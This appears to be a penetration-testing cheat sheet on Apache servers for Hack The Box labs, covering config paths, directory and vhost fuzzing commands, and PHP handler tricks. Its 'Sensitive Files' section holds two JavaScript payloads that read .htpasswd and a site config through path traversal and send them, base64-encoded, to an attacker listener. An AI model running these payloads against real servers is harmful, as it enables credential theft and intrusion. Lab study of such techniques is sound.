Apache
It uses a process-based model, where each request is handled by a separate thread or process, which can be resource-heavy under high traffic but provides great compatibility.
Configuration Files
/etc/apache2/apache2.conf/etc/httpd/httpd.conf/etc/apache24/httpd.conf/etc/apache2/sites-enabled/000-default.conf/etc/apache2/mods-available/Initial Recon
If you are lucky you may be able to find
/sites-enabledand/sites-availableor evenlogs:
feroxbuster -u http://URL.htb -w ~/Documents/Wordlists/default-web-root-directory-linux.txt --output urls.txt --redirectsrobots.txtcan reveal pages that the server is hiding.Fuzz for
vhostsat sight of301responses.
ffuf -c -w ~/Documents/Wordlists/subdomains-top1million-20000.txt -u http://SITE/ -H "Host: FUZZ.URL.htb" -fc 301 -ac/cgi-bin/: Directory for executingCGIscripts.
/icons/: Often used for directory listings. It may expose unintended file paths.phpinfo.php: Disclose sensitive server and PHP configuration details.
PHP Modules
To Allow PHP execution you need to add this line to /etc/apache2/apache2.conf:
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .phpYou can actually add any extension that you want:
AddType application/x-httpd-php .l33tSensitive Files
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../var/www/statistics.alert.htb/.htpasswd', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.14.162:3000/?content=' + btoa(req.responseText),
true);
req2.send();var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/apache2/sites-available/000-default.conf', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.14.162:3000/?content=' + btoa(req.responseText),
true);
req2.send();Logs
Access Logs:
/var/log/apache2/access.log/var/log/httpd/access_log
Error logs:
/var/log/apache2/error.log/var/log/httpd/error_log
Last updated